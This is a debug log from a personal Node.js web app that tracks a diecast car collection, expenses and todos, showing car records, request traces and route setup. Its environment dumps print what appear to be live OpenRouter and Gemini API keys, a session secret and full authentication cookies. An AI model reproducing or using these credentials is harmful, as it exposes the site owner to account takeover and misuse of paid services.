      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-13T10:05:27.286Z server-connect:router Serving templateView /
2026-07-13T10:05:27.286Z server-connect:app Executing action step identify
2026-07-13T10:05:27.286Z server-connect:app options: { provider: 'security' }
2026-07-13T10:05:27.287Z server-connect:output identity: 1
2026-07-13T10:05:27.287Z server-connect:app Executing action step restrict
2026-07-13T10:05:27.287Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:05:27.287Z server-connect:output restrict: undefined
2026-07-13T10:05:27.287Z server-connect:app Executing action step restrict
2026-07-13T10:05:27.287Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:05:27.288Z server-connect:output restrict: undefined
2026-07-13T10:05:27.288Z server-connect:router Render template layouts/main
2026-07-13T10:05:27.288Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-07-13T10:23:51.400Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-13T10:23:51.604Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-13T10:23:51.689Z server-connect:setup:upload Upload middleware configured.
2026-07-13T10:23:51.690Z server-connect:secure CSRF Protection initialized
2026-07-13T10:23:51.692Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-13T10:23:51.692Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-13T10:23:51.693Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-13T10:23:51.693Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-13T10:23:51.694Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-13T10:23:51.694Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-13T10:23:51.697Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-13T10:23:51.697Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-13T10:23:51.698Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-13T10:23:51.698Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-13T10:23:51.699Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-13T10:23:51.699Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-13T10:23:51.699Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-13T10:23:51.700Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-13T10:23:51.700Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-13T10:23:51.703Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-13T10:23:51.703Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-13T10:23:51.704Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-13T10:23:51.704Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-13T10:23:51.704Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-13T10:23:51.705Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-13T10:23:51.705Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-13T10:23:51.705Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-13T10:23:51.706Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-13T10:23:51.706Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-13T10:23:51.706Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-13T10:23:51.706Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-13T10:23:51.707Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-13T10:23:51.707Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-13T10:23:51.707Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-13T10:23:51.707Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-13T10:23:51.707Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-13T10:23:51.708Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-13T10:23:51.708Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-13T10:23:51.708Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-13T10:23:51.708Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-13T10:23:51.708Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-13T10:23:51.709Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-13T10:23:51.841Z server-connect:router Serving templateView /diecast
2026-07-13T10:23:51.844Z server-connect:app Executing action step identify
2026-07-13T10:23:51.844Z server-connect:app options: { provider: 'security' }
2026-07-13T10:23:51.845Z server-connect:output identity: 1
2026-07-13T10:23:51.846Z server-connect:app Executing action step restrict
2026-07-13T10:23:51.846Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:23:51.849Z server-connect:output restrict: undefined
2026-07-13T10:23:51.849Z server-connect:router Render template layouts/main
2026-07-13T10:23:51.850Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { brand: '' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15cb8-0QY0yaGD62DEpPl9qYiH6AffV2Y"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=',
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15cb8-0QY0yaGD62DEpPl9qYiH6AffV2Y"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-07-13T10:23:52.936Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-13T10:23:52.937Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-13T10:23:52.937Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-13T10:23:52.938Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:23:52.938Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:23:52.939Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:23:52.940Z server-connect:app Executing action step identify
2026-07-13T10:23:52.940Z server-connect:app options: { provider: 'security' }
2026-07-13T10:23:52.940Z server-connect:output identity: 1
2026-07-13T10:23:52.940Z server-connect:app Executing action step restrict
2026-07-13T10:23:52.940Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:23:52.940Z server-connect:app Executing action step identify
2026-07-13T10:23:52.940Z server-connect:app options: { provider: 'security' }
2026-07-13T10:23:52.941Z server-connect:output identity: 1
2026-07-13T10:23:52.941Z server-connect:app Executing action step restrict
2026-07-13T10:23:52.941Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:23:52.941Z server-connect:app Executing action step identify
2026-07-13T10:23:52.941Z server-connect:app options: { provider: 'security' }
2026-07-13T10:23:52.941Z server-connect:output identity: 1
2026-07-13T10:23:52.941Z server-connect:app Executing action step restrict
2026-07-13T10:23:52.941Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:23:52.941Z server-connect:app Executing action step identify
2026-07-13T10:23:52.941Z server-connect:app options: { provider: 'security' }
2026-07-13T10:23:52.942Z server-connect:output identity: 1
2026-07-13T10:23:52.942Z server-connect:app Executing action step restrict
2026-07-13T10:23:52.942Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:23:52.942Z server-connect:output restrict: undefined
2026-07-13T10:23:52.943Z server-connect:app Executing action step select
2026-07-13T10:23:52.943Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-13T10:23:52.945Z server-connect:output restrict: undefined
2026-07-13T10:23:52.945Z server-connect:app Executing action step single
2026-07-13T10:23:52.945Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-13T10:23:52.946Z server-connect:output restrict: undefined
2026-07-13T10:23:52.946Z server-connect:app Executing action step select
2026-07-13T10:23:52.946Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:23:52.947Z server-connect:app Executing action step identify
2026-07-13T10:23:52.947Z server-connect:app options: { provider: 'security' }
2026-07-13T10:23:52.947Z server-connect:output identity: 1
2026-07-13T10:23:52.947Z server-connect:app Executing action step restrict
2026-07-13T10:23:52.947Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:23:52.948Z server-connect:app Executing action step identify
